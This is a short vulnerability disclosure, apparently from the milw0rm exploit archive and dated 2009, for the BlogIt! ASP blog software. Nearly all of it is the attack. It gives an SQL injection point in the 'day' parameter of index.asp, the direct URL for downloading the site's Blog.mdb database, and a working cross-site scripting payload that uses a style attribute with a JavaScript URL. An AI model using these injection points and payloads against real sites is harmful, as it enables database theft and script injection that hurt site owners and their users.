blogit! (sql/dd/xss) Multiple Vulnerabilities

######################################################### --------------------------------------------------------- Portal Name: BlogIt! Download : http://www.katywhitton.com/downloads/BlogIt!/BlogItDL.zip Author : Pouya_Server , Pouya.s3rver@Gmail.com Vulnerability : (SQL/DD/XSS) --------------------------------------------------------- ######################################################### [SQL]: http://site.com/[Path]/index.asp?view=archive&day=[SQL] [DD]: http://site.com/[Path]/database/Blog.mdb [XSS]: http://site.com/[Path]/index.asp?view='+style='background:url(JaVaScRiPt:alert(1369))'+invalidparam='&day=1&month=12&year=2008 --------------------------------- # milw0rm.com [2009-01-16]